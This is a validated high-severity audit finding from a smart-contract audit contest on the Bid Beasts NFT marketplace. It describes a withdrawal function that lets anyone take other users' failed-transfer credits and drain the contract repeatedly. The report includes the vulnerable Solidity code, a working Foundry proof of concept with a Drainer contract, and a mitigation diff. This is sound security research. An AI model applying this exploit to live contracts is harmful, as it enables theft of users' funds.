Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

High: Failed transfer credits withdrawal allows theft and infinite draining

andysakov

High: Failed transfer credits withdrawal allows theft and infinite draining

Description

  • Normal behavior: When direct ETH transfers fail during refunds or fee withdrawals, amounts are recorded in failedTransferCredits for later withdrawal by the rightful recipient.

  • Issue: The withdrawal function lets any caller specify an arbitrary _receiver, zeroes the wrong storage slot, and never decrements the credited balance. This enables anyone to steal others’ credits and repeatedly drain the contract balance.

238:246:2025-09-bid-beasts/src/BidBeastsNFTMarketPlace.sol

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
// @> Root 1: Arbitrary `_receiver` lets anyone withdraw someone else’s credits
// @> Root 2: Clears `failedTransferCredits[msg.sender]` instead of `_receiver`
// @> Root 3: Never decrements `failedTransferCredits[_receiver]` → infinite repeat withdraws

Risk

Likelihood:

  • Any user can call this at any time once credits exist for any _receiver

  • Repeatable as long as the contract has balance, because credited value is not decremented

Impact:

  • Theft of other users’ owed credits

  • Complete draining of contract ETH via repeated withdrawals

Proof of Concept

// Foundry-style PoC: create credits via a failed refund, then drain them repeatedly.
​
contract RejectBidder { // cannot receive ETH refunds
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
// No receive/fallback → refunds to this contract fail, generating credits
}
​
contract Drainer {
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function drain(address victim) external {
// Bug: anyone can withdraw victim's credits to themselves, repeatedly
market.withdrawAllFailedCredits(victim);
}
}
​
function test_CreditsCanBeStolenAndRepeatedlyDrained() public {
// Deploy core contracts
BidBeasts nft = new BidBeasts();
BidBeastsNFTMarket market = new BidBeastsNFTMarket(address(nft));
​
// Actors
address seller = address(0xA11CE);
RejectBidder victim = new RejectBidder(market);
Drainer attacker = new Drainer(market);
​
// Mint tokenId 0 to seller and list it
vm.prank(nft.owner());
nft.mint(seller);
vm.startPrank(seller);
nft.approve(address(market), 0);
market.listNFT(0, 1 ether, 0);
vm.stopPrank();
​
// Step 1: Victim places first bid (1 ether)
vm.deal(address(victim), 10 ether);
vm.prank(address(victim));
victim.bid{value: 1 ether}(0, 1 ether);
​
// Step 2: Another user outbids (refund owed to victim). Refund fails → credits recorded
address honestBidder = address(0xB1D);
vm.deal(honestBidder, 10 ether);
vm.prank(honestBidder);
market.placeBid{value: 2 ether}(0);
​
// Credits exist for victim
assertEq(market.failedTransferCredits(address(victim)), 1 ether);
​
// Fund contract to observe draining
vm.deal(address(market), 5 ether);
uint256 marketBalBefore = address(market).balance;
uint256 attackerBalBefore = address(attacker).balance;
​
// Step 3: Attacker steals victim's credits to themselves (wrong recipient; wrong zeroing)
vm.prank(address(attacker));
attacker.drain(address(victim));
​
// Bug: credits not decremented for victim; attacker got paid; market lost funds
assertEq(market.failedTransferCredits(address(victim)), 1 ether); // unchanged → can be drained again
assertEq(address(market).balance, marketBalBefore - 1 ether);
assertEq(address(attacker).balance, attackerBalBefore + 1 ether);
​
// Step 4: Repeat drain
vm.prank(address(attacker));
attacker.drain(address(victim));
assertEq(address(attacker).balance, attackerBalBefore + 2 ether);
}

Recommended Mitigation

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawFailedCredits() external nonReentrant {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.